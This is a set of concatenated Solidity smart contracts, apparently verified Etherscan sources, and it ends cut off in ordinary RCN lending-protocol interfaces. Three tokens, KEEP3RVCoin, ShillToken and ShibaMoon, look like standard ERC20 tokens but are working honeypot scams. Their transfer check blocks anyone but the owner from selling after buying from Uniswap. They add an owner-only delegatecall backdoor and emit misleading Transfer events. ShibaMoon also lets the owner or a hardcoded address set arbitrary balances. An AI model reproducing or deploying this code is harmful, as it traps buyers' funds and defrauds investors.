emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
KEEP3R Coin
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract KEEP3RVCoin {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
/**
*Submitted for verification at Etherscan.io on 2020-10-16
*/
pragma solidity ^0.5.17;
/*
* SHILL.finance
* https://shillable-finance.app/
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract ShillToken {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
/**
*Submitted for verification at Etherscan.io on 2021-06-11
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract ShibaMoon {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.4.24;
// File: contracts/interfaces/Token.sol
contract Token {
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
function approve(address _spender, uint256 _value) public returns (bool success);
function increaseApproval (address _spender, uint _addedValue) public returns (bool success);
function balanceOf(address _owner) public view returns (uint256 balance);
}
// File: contracts/interfaces/TokenConverter.sol
contract TokenConverter {
address public constant ETH_ADDRESS = 0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee;
function getReturn(Token _fromToken, Token _toToken, uint256 _fromAmount) external view returns (uint256 amount);
function convert(Token _fromToken, Token _toToken, uint256 _fromAmount, uint256 _minReturn) external payable returns (uint256 amount);
}
// File: contracts/utils/Ownable.sol
contract Ownable {
address public owner;
event SetOwner(address _owner);
modifier onlyOwner() {
require(msg.sender == owner, "Sender not owner");
_;
}
constructor() public {
owner = msg.sender;
emit SetOwner(msg.sender);
}
/**
@dev Transfers the ownership of the contract.
@param _to Address of the new owner
*/
function setOwner(address _to) external onlyOwner returns (bool) {
require(_to != address(0), "Owner can't be 0x0");
owner = _to;
emit SetOwner(_to);
return true;
}
}
// File: contracts/interfaces/Oracle.sol
/**
@dev Defines the interface of a standard RCN oracle.
The oracle is an agent in the RCN network that supplies a convertion rate between RCN and any other currency,
it's primarily used by the exchange but could be used by any other agent.
*/
contract Oracle is Ownable {
uint256 public constant VERSION = 4;
event NewSymbol(bytes32 _currency);
mapping(bytes32 => bool) public supported;
bytes32[] public currencies;
/**
@dev Returns the url where the oracle exposes a valid "oracleData" if needed
*/
function url() public view returns (string);
/**
@dev Returns a valid convertion rate from the currency given to RCN
@param symbol Symbol of the currency
@param data Generic data field, could be used for off-chain signing
*/
function getRate(bytes32 symbol, bytes data) public returns (uint256 rate, uint256 decimals);
/**
@dev Adds a currency to the oracle, once added it cannot be removed
@param ticker Symbol of the currency
@return if the creation was done successfully
*/
function addCurrency(string ticker) public onlyOwner returns (bool) {
bytes32 currency = encodeCurrency(ticker);
NewSymbol(currency);
supported[currency] = true;
currencies.push(currency);
return true;
}
/**
@return the currency encoded as a bytes32
*/
function encodeCurrency(string currency) public pure returns (bytes32 o) {
require(bytes(currency).length <= 32);
assembly {
o := mload(add(currency, 32))
}
}
/**
@return the currency string from a encoded bytes32
*/
function decodeCurrency(bytes32 b) public pure returns (string o) {
uint256 ns = 256;
while (true) { if (ns == 0 || (b<<ns-8) != 0) break; ns -= 8; }
assembly {
ns := div(ns, 8)
o := mload(0x40)
mstore(0x40, add(o, and(add(add(ns, 0x20), 0x1f), not(0x1f))))
mstore(o, ns)
mstore(add(o, 32), b)
}
}
}
// File: contracts/interfaces/Engine.sol
contract Engine {
uint256 public VERSION;
string public VERSION_NAME;
enum Status { initial, lent, paid, destroyed }
struct Approbation {
bool approved;
bytes data;
bytes32 checksum;
}
function getTotalLoans() public view returns (uint256);
function getOracle(uint index) public view returns (Oracle);
function getBorrower(uint index) public view returns (address);
function getCosigner(uint index) public view returns (address);
function ownerOf(uint256) public view returns (address owner);
function getCreator(uint index) public view returns (address);
function getAmount(uint index) public view returns (uint256);
function getPaid(uint index) public view returns (uint256);
function getDueTime(uint index) public view returns (uint256);
function getApprobation(uint index, address _address) public view returns (bool);
function getStatus(uint index) public view returns (Status);
function isApproved(uint index) public view returns (bool);
function getPendingAmount(uint index) public returns (uint256);
function getCurrency(uint index) public view returns (bytes32);
function cosign(uint index, uint256 cost) external returns (bool);
function approveLoan(uint index) public returns (bool);
function transfer(address to, uint256 index) public returns (bool);
function takeOwnership(uint256 index) public returns (bool);
function withdrawal(uint index, address to, uint256 amount) public returns (bool);
function identifierToIndex(bytes32 signature) public view returns (uint256);
}
// File: contracts/interfaces/Cosigner.sol
/**
@dev Defines the interface of a standard RCN cosigner.
The cosigner is an agent that gives an insurance to the lender in the event of a defaulted loan, the confitions
of the insurance and the cost of the given are defined by the cosigner.
The lender will decide what cosigner to use, if any; the address of the cosigner and the valid data provided by the
agent should be passed as params when the lender calls the "lend" method on the engine.
When the default conditions defined by the cosigner aligns with the status of the loan, the lender of the engine
should be able to call the "claim" method to receive the benefit; the cosigner can define aditional requirements to
call this method, like the transfer of the ownership of the loan.
*/
contract Cosigner {
uint256 public constant VERSION = 2;
/**
@return the url of the endpoint that exposes the insurance offers.
*/
function url() public view returns (string);
/**
@dev Retrieves the cost of a given insurance, this amount should be exact.
@return the cost of the cosign, in RCN wei
*/
function cost(address engine, uint256 index, bytes data, bytes oracleData) public view returns (uint256);
/**
@dev The engine calls this method for confirmation of the conditions, if the cosigner accepts the liability of
the insurance it must call the method "cosign" of the engine. If the cosigner does not call that method, or
does not return true to this method, the operation fails.
@return true if the cosigner accepts the liability
*/
function requestCosign(Engine engine, uint256 index, bytes data, bytes oracleData) public returns (bool);
/**
@dev Claims the benefit of the insurance if the loan is defaulted, this method should be only calleable by the
current lender of the loan.
@return true if the claim was done correctly.
*/
function claim(address engine, uint256 index, bytes oracleData) external returns (bool);
}
// File: contracts/interfaces/ERC721.sol
contract ERC721 {
/*
// ERC20 compatible functions
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function totalSupply() public view returns (uint256 _totalSupply);
function balanceOf(address _owner) public view returns (uint _balance);
// Functions that define ownership
function ownerOf(uint256) public view returns (address owner);
function approve(address, uint256) public returns (bool);
function takeOwnership(uint256) public returns (bool);
function transfer(address, uint256) public returns (bool);
function setApprovalForAll(address _operator, bool _approved) public returns (bool);
function getApproved(uint256 _tokenId) public view returns (address);
function isApprovedForAll(address _owner, address _operator) public view returns (bool);
function transferFrom(address from, address to, uint256 index) public returns (bool);
// Token metadata
function tokenMetadata(uint256 _tokenId) public view returns (string info);
*/
// Events
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
}
// File: contracts/utils/SafeMath.sol
library SafeMath {
function add(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x + y;
